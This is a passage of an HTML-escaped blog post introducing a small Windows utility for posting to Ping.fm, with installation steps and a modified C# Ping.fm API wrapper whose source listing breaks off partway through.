href="http://lh3.ggpht.com/_kFNcLq9qQIg/Sd_3ny7I0OI/AAAAAAAAAvw/7pCSAg3hc3o/s1600-h/ping.fm%20thingie%5B6%5D.png"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="ping.fm thingie" src="http://lh4.ggpht.com/_kFNcLq9qQIg/Sd_3paGLzbI/AAAAAAAAAv0/wl9HcOM22hM/ping.fm%20thingie_thumb%5B4%5D.png?imgmax=800" width="400" height="110" /&gt;&lt;/a&gt; &lt;br /&gt;And that's it .. That automatically close after sending your message! Simple! &lt;br /&gt; &lt;br /&gt;And one last thing .. You can also type your message directly to that popup window just running &lt;strong&gt;&lt;font color="#0080c0"&gt;pingdotfm&lt;/font&gt;&lt;/strong&gt;. &lt;br /&gt; &lt;br /&gt;Enjoy! &lt;br /&gt; &lt;br /&gt;Here's the Download file &lt;br /&gt;&lt;iframe scrolling="no" marginheight="0" marginwidth="0" frameborder="0" style="width:240px;height:66px;margin:3px;padding:0;border:1px solid #dde5e9;background-color:#ffffff;" src="http://cid-39b8fdc09b6b5252.skydrive.live.com/embedrowdetail.aspx/Source%20and%20Binaries/Ping.fm%20Thingie/PING.FM%7C_THINGIE%7C_RELEASE%7C_04112009%7C_095500.zip"&gt;&lt;/iframe&gt; &lt;br /&gt; &lt;br /&gt;&lt;strong&gt;Installation&lt;/strong&gt; &lt;br /&gt;Run &lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_kFNcLq9qQIg/Sd_3p1su8gI/AAAAAAAAAv4/mKdyiOJiicc/s1600-h/ping.fm.exe%5B3%5D.png"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="ping.fm.exe" src="http://lh4.ggpht.com/_kFNcLq9qQIg/Sd_3qS7DP5I/AAAAAAAAAv8/a5mLEivTcgg/ping.fm.exe_thumb%5B1%5D.png?imgmax=800" width="219" height="55" /&gt;&lt;/a&gt;&amp;#160; &lt;br /&gt;And a window asking your User Application Key which can be found on &lt;a href="http://ping.fm/key/"&gt;YOUR APPLICATION KEY&lt;/a&gt; in Ping.fm &lt;br /&gt;&lt;a href="http://lh3.ggpht.com/_kFNcLq9qQIg/Sd_3rGWfCTI/AAAAAAAAAwA/aC5OHdTR6o0/s1600-h/user_app_key%5B3%5D.png"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="user_app_key" src="http://lh5.ggpht.com/_kFNcLq9qQIg/Sd_3r41-VDI/AAAAAAAAAwE/iglk__IDUBs/user_app_key_thumb%5B1%5D.png?imgmax=800" width="386" height="113" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;strong&gt;Validate&lt;/strong&gt; it, and after that .. It creates an Executable file called &lt;strong&gt;PingdotFm&lt;/strong&gt; in your System32 folder so you can run it directly in Run window. &lt;br /&gt; &lt;br /&gt;&lt;strong&gt;Source Code&lt;/strong&gt; &lt;br /&gt;Adam Duffy (&lt;a href="mailto:adam@ping.fm"&gt;adam@ping.fm&lt;/a&gt;) gave away his source code for dealing with Ping.fm APIs .. so i'm giving it away to you too but it already contains some modifications of course to totally wrap up some things for you. &lt;br /&gt; &lt;br /&gt;Here's the source:&lt;/font&gt;&lt;/p&gt;&lt;pre class="csharpcode"&gt;&lt;span class="rem"&gt;/*&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;    Copyright &amp;#169; 2008, Ping.fm Inc.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;    All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;    http://ping.fm/&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;  Redistribution and use in source and binary forms, with or without&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;  modification, are permitted provided that the following conditions&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;  are met:&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;    - Redistributions of source code must retain the above copyright&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;       notice, this list of conditions and the following disclaimer. &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;    - Neither the name Ping.fm, nor the names of its contributors&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;       may be used to endorse or promote products derived from this&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;       software without specific prior written permission. &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;  &amp;quot;AS IS&amp;quot; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;  FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;  THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;  INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;  (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;  SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;  HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;  OF THE POSSIBILITY OF SUCH DAMAGE.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; */&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="rem"&gt;/*&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * Modified by: Jayson Ragasa&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * Baguio City, Philippines&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * ----------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * Added more constructors&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * Added enums&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * changed api_key variable visibility which was originally set to private..&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * Changed some methods to support the enum values.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; */&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Collections.Generic;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Text;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Net;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.IO;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Xml;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Xml.Serialization;&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;namespace&lt;/span&gt; PingFM&lt;br /&gt;{&lt;br /&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;enum&lt;/span&gt; PostMethods&lt;br /&gt;    {&lt;br /&gt;        Default,&lt;br /&gt;        Blog,&lt;br /&gt;        MicroBlog,&lt;br /&gt;        Status&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    &lt;span class="rem"&gt;/// &amp;lt;summary&amp;gt;Ping.fm API wrapper for C#.&lt;/span&gt;&lt;br /&gt;    &lt;span class="rem"&gt;/// Created by Adam Duffy (adam@ping.fm) 06/18/2008&lt;/span&gt;&lt;br /&gt;    &lt;span class="rem"&gt;/// &amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; PingFMApi&lt;br /&gt;    {&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; PingFMApi() { }&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; PingFMApi(&lt;span class="kwrd"&gt;string&lt;/span&gt; api_key)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;this&lt;/span&gt;.api_key = api_key;&lt;br /&gt;        }&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; PingFMApi(&lt;span class="kwrd"&gt;string&lt;/span&gt; user_application_key, &lt;span class="kwrd"&gt;string&lt;/span&gt; api_key)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;this&lt;/span&gt;.user_application_key = user_application_key;&lt;br /&gt;            &lt;span class="kwrd"&gt;this&lt;/span&gt;.api_key = api_key;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; Version mVersion = System.Reflection.Assembly.GetExecutingAssembly().GetName().Version;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; Version Version&lt;br /&gt;        {&lt;br /&gt;            get { &lt;span class="kwrd"&gt;return&lt;/span&gt; mVersion; }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="rem"&gt;/// &amp;lt;summary&amp;gt;Ping.fm Developer API Key.  See http://ping.fm/developers/&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; api_key;&lt;br /&gt;&lt;br /&gt;        &lt;span class="rem"&gt;/// &amp;lt;summary&amp;gt;User Application Key.&lt;/span&gt;&lt;br /&gt;        &lt;span class="rem"&gt;/// The end user will need to enter this. see http://ping.fm/key/&lt;/span&gt;&lt;br /&gt;        &lt;span class="rem"&gt;/// &amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; user_application_key;&lt;br /&gt;&lt;br /&gt;        &lt;span class="preproc"&gt;#region&lt;/span&gt; XML Serialization Classes&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; ServiceMethods&lt;br /&gt;        {&lt;br /&gt;            [XmlAttribute(&lt;span class="str"&gt;&amp;quot;id&amp;quot;&lt;/span&gt;)]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; ID;&lt;br /&gt;            [XmlAttribute(&lt;span class="str"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;)]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Name;&lt;br /&gt;            [XmlElement(&lt;span class="str"&gt;&amp;quot;methods&amp;quot;&lt;/span&gt;)]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Methods;&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;override&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; ToString()&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="kwrd"&gt;if&lt;/span&gt; (!&lt;span class="kwrd"&gt;string&lt;/span&gt;.IsNullOrEmpty(Name))&lt;br /&gt;                    &lt;span class="kwrd"&gt;return&lt;/span&gt; Name + &lt;span class="str"&gt;&amp;quot; [&amp;quot;&lt;/span&gt; + ID + &lt;span class="str"&gt;&amp;quot;]&amp;quot;&lt;/span&gt;;&lt;br /&gt;                &lt;span class="kwrd"&gt;else&lt;/span&gt;&lt;br /&gt;                    &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;base&lt;/span&gt;.ToString();&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; Service&lt;br /&gt;        {&lt;br /&gt;            [XmlAttribute(&lt;span class="str"&gt;&amp;quot;id&amp;quot;&lt;/span&gt;)]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; ID;&lt;br /&gt;            [XmlAttribute(&lt;span class="str"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;)]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Name;&lt;br /&gt;            [XmlElement(&lt;span class="str"&gt;&amp;quot;methods&amp;quot;&lt;/span&gt;)]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Methods;&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;override&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; ToString()&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="kwrd"&gt;if&lt;/span&gt; (!&lt;span class="kwrd"&gt;string&lt;/span&gt;.IsNullOrEmpty(Name))&lt;br /&gt;                    &lt;span class="kwrd"&gt;return&lt;/span&gt; Name + &lt;span class="str"&gt;&amp;quot; [&amp;quot;&lt;/span&gt; + ID + &lt;span class="str"&gt;&amp;quot;]&amp;quot;&lt;/span&gt;;&lt;br /&gt;                &lt;span class="kwrd"&gt;else&lt;/span&gt;&lt;br /&gt;                    &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;base&lt;/span&gt;.ToString();&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; Trigger&lt;br /&gt;        {&lt;br /&gt;            [XmlAttribute(&lt;span class="str"&gt;&amp;quot;id&amp;quot;&lt;/span&gt;)]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; ID;&lt;br /&gt;            [XmlAttribute(&lt;span class="str"&gt;&amp;quot;method&amp;quot;&lt;/span&gt;)]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Method;&lt;br /&gt;            [XmlArray(&lt;span class="str"&gt;&amp;quot;services&amp;quot;&lt;/span&gt;), XmlArrayItem(&lt;span class="str"&gt;&amp;quot;service&amp;quot;&lt;/span&gt;, &lt;span class="kwrd"&gt;typeof&lt;/span&gt;(Service))]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; List&amp;lt;Service&amp;gt; Services = &lt;span class="kwrd"&gt;new&lt;/span&gt; List&amp;lt;Service&amp;gt;();&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;override&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; ToString()&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="kwrd"&gt;if&lt;/span&gt; (!&lt;span class="kwrd"&gt;string&lt;/span&gt;.IsNullOrEmpty(ID))&lt;br /&gt;                    &lt;span class="kwrd"&gt;return&lt;/span&gt; ID + &lt;span class="str"&gt;&amp;quot; (&amp;quot;&lt;/span&gt; + Method + &lt;span class="str"&gt;&amp;quot;)&amp;quot;&lt;/span&gt;;&lt;br /&gt;                &lt;span class="kwrd"&gt;else&lt;/span&gt;&lt;br /&gt;                    &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;base&lt;/span&gt;.ToString();&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; Message&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;struct&lt;/span&gt; PingDate&lt;br /&gt;            {&lt;br /&gt;                [XmlAttribute(&lt;span class="str"&gt;&amp;quot;rfc&amp;quot;&lt;/span&gt;)]&lt;br /&gt;                &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Rfc;&lt;br /&gt;                [XmlAttribute(&lt;span class="str"&gt;&amp;quot;unix&amp;quot;&lt;/span&gt;)]&lt;br /&gt;                &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Unix;&lt;br /&gt;                &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;override&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; ToString()&lt;br /&gt;                {&lt;br /&gt;                    &lt;span class="kwrd"&gt;if&lt;/span&gt; (!&lt;span class="kwrd"&gt;string&lt;/span&gt;.IsNullOrEmpty(Rfc))&lt;br /&gt;                        &lt;span class="kwrd"&gt;return&lt;/span&gt; Rfc;&lt;br /&gt;                    &lt;span class="kwrd"&gt;else&lt;/span&gt;&lt;br /&gt;                        &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;base&lt;/span&gt;.ToString();&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;struct&lt;/span&gt; PingContent&lt;br /&gt;            {&lt;br /&gt;                [XmlElement(&lt;span class="str"&gt;&amp;quot;title&amp;quot;&lt;/span&gt;)]&lt;br /&gt;                &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Title;&lt;br /&gt;                [XmlElement(&lt;span class="str"&gt;&amp;quot;body&amp;quot;&lt;/span&gt;)]&lt;br /&gt;                &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Body;&lt;br /&gt;                &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;override&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; ToString()&lt;br /&gt;                {&lt;br /&gt;                    &lt;span class="kwrd"&gt;if&lt;/span&gt; (!&lt;span class="kwrd"&gt;string&lt;/span&gt;.IsNullOrEmpty(Title))&lt;br /&gt;                        &lt;span class="kwrd"&gt;return&lt;/span&gt; Title;&lt;br /&gt;                    &lt;span class="kwrd"&gt;else&lt;/span&gt; &lt;span class="kwrd"&gt;if&lt;/span&gt; (!&lt;span class="kwrd"&gt;string&lt;/span&gt;.IsNullOrEmpty(Body))&lt;br /&gt;                        &lt;span class="kwrd"&gt;return&lt;/span&gt; Body;&lt;br /&gt;                    &lt;span class="kwrd"&gt;else&lt;/span&gt;&lt;br /&gt;                        &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;base&lt;/span&gt;.ToString();&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            [XmlAttribute(&lt;span class="str"&gt;&amp;quot;id&amp;quot;&lt;/span&gt;)]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; ID;&lt;br /&gt;            [XmlAttribute(&lt;span class="str"&gt;&amp;quot;method&amp;quot;&lt;/span&gt;)]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Method;&lt;br /&gt;            [XmlElement(&lt;span class="str"&gt;&amp;quot;date&amp;quot;&lt;/span&gt;)]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; PingDate Date;&lt;br /&gt;            [XmlElement(&lt;span class="str"&gt;&amp;quot;content&amp;quot;&lt;/span&gt;)]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; PingContent Content;&lt;br /&gt;            [XmlArray(&lt;span class="str"&gt;&amp;quot;services&amp;quot;&lt;/span&gt;), XmlArrayItem(&lt;span class="str"&gt;&amp;quot;service&amp;quot;&lt;/span&gt;, &lt;span class="kwrd"&gt;typeof&lt;/span&gt;(Service))]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; List&amp;lt;Service&amp;gt; Services = &lt;span class="kwrd"&gt;new&lt;/span&gt; List&amp;lt;Service&amp;gt;();&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; Decode()&lt;br /&gt;            {&lt;br /&gt;                Content.Body = Base64Decode(Content.Body);&lt;br /&gt;                Content.Title = Base64Decode(Content.Title);&lt;br /&gt;            }&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;override&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; ToString()&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="kwrd"&gt;if&lt;/span&gt; (!&lt;span class="kwrd"&gt;string&lt;/span&gt;.IsNullOrEmpty(Method))&lt;br /&gt;                    &lt;span class="kwrd"&gt;return&lt;/span&gt; Method;&lt;br /&gt;                &lt;span class="kwrd"&gt;else&lt;/span&gt;&lt;br /&gt;                    &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;base&lt;/span&gt;.ToString();&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        [XmlRoot(&lt;span class="str"&gt;&amp;quot;rsp&amp;quot;&lt;/span&gt;)]&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; PingResponse&lt;br /&gt;        {&lt;br /&gt;            [XmlAttribute(&lt;span class="str"&gt;&amp;quot;status&amp;quot;&lt;/span&gt;)]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Status;&lt;br /&gt;            [XmlElement(&lt;span class="str"&gt;&amp;quot;transaction&amp;quot;&lt;/span&gt;)]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Transaction;&lt;br /&gt;            [XmlElement(&lt;span class="str"&gt;&amp;quot;method&amp;quot;&lt;/span&gt;)]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Method;&lt;br /&gt;            [XmlElement(&lt;span class="str"&gt;&amp;quot;message&amp;quot;&lt;/span&gt;)]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Message;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        [XmlRoot(&lt;span class="str"&gt;&amp;quot;rsp&amp;quot;&lt;/span&gt;)]&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; ServicesResponse : PingResponse&lt;br /&gt;        {&lt;br /&gt;            [XmlArray(&lt;span class="str"&gt;&amp;quot;services&amp;quot;&lt;/span&gt;), XmlArrayItem(&lt;span class="str"&gt;&amp;quot;service&amp;quot;&lt;/span&gt;, &lt;span class="kwrd"&gt;typeof&lt;/span&gt;(ServiceMethods))]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; List&amp;lt;ServiceMethods&amp;gt; Services;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        [XmlRoot(&lt;span class="str"&gt;&amp;quot;rsp&amp;quot;&lt;/span&gt;)]&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; TriggerResponse : PingResponse&lt;br /&gt;        {&lt;br /&gt;            [XmlArray(&lt;span class="str"&gt;&amp;quot;triggers&amp;quot;&lt;/span&gt;), XmlArrayItem(&lt;span class="str"&gt;&amp;quot;trigger&amp;quot;&lt;/span&gt;, &lt;span class="kwrd"&gt;typeof&lt;/span&gt;(Trigger))]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; List&amp;lt;Trigger&amp;gt; Triggers;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        [XmlRoot(&lt;span class="str"&gt;&amp;quot;rsp&amp;quot;&lt;/span&gt;)]&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; LatestResponse : PingResponse&lt;br /&gt;        {&lt;br /&gt;            [XmlArray(&lt;span class="str"&gt;&amp;quot;messages&amp;quot;&lt;/span&gt;), XmlArrayItem(&lt;span class="str"&gt;&amp;quot;message&amp;quot;&lt;/span&gt;, &lt;span class="kwrd"&gt;typeof&lt;/span&gt;(Message))]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; List&amp;lt;Message&amp;gt; Messages = &lt;span class="kwrd"&gt;new&lt;/span&gt; List&amp;lt;Message&amp;gt;();&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; DecodeMessages()&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="kwrd"&gt;if&lt;/span&gt; (Messages == &lt;span class="kwrd"&gt;null&lt;/span&gt;) &lt;span class="kwrd"&gt;return&lt;/span&gt;;&lt;br /&gt;                &lt;span class="kwrd"&gt;foreach&lt;/span&gt; (Message m &lt;span class="kwrd"&gt;in&lt;/span&gt; Messages)&lt;br /&gt;                    m.Decode();&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        [XmlRoot(&lt;span class="str"&gt;&amp;quot;rsp&amp;quot;&lt;/span&gt;)]&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; MessageResponse : PingResponse&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="rem"&gt;//.net has a problem deserializing this one.&lt;/span&gt;&lt;br /&gt;            &lt;span class="rem"&gt;//could un-inherit the class, but i'll leave the bug here.&lt;/span&gt;&lt;br /&gt;            [XmlElement(&lt;span class="str"&gt;&amp;quot;message&amp;quot;&lt;/span&gt;)]&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;new&lt;/span&gt; Message Message;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;bool&lt;/span&gt; SerializeObject(XmlTextWriter writer, &lt;span class="kwrd"&gt;object&lt;/span&gt; o)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;try&lt;/span&gt;&lt;br /&gt;            {&lt;br /&gt;                XmlSerializer xs = &lt;span class="kwrd"&gt;new&lt;/span&gt; XmlSerializer(o.GetType());&lt;br /&gt;                XmlSerializerNamespaces ns = &lt;span class="kwrd"&gt;new&lt;/span&gt; XmlSerializerNamespaces();&lt;br /&gt;                ns.Add(&lt;span class="str"&gt;&amp;quot;&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;&amp;quot;&lt;/span&gt;); &lt;span class="rem"&gt;//remove the xmlns tags.&lt;/span&gt;&lt;br /&gt;                xs.Serialize(writer, o, ns);&lt;br /&gt;                &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;true&lt;/span&gt;;&lt;br /&gt;            }&lt;br /&gt;            &lt;span class="kwrd"&gt;catch&lt;/span&gt; (Exception ex)&lt;br /&gt;            {&lt;br /&gt;                System.Diagnostics.Debug.WriteLine(ex.Message);&lt;br /&gt;                &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;false&lt;/span&gt;;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;        &lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;object&lt;/span&gt; DeserializeObject(XmlReader reader, Type type)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;try&lt;/span&gt;&lt;br /&gt;            {&lt;br /&gt;                XmlSerializer xs = &lt;span class="kwrd"&gt;new&lt;/span&gt; XmlSerializer(type);&lt;br /&gt;                &lt;span 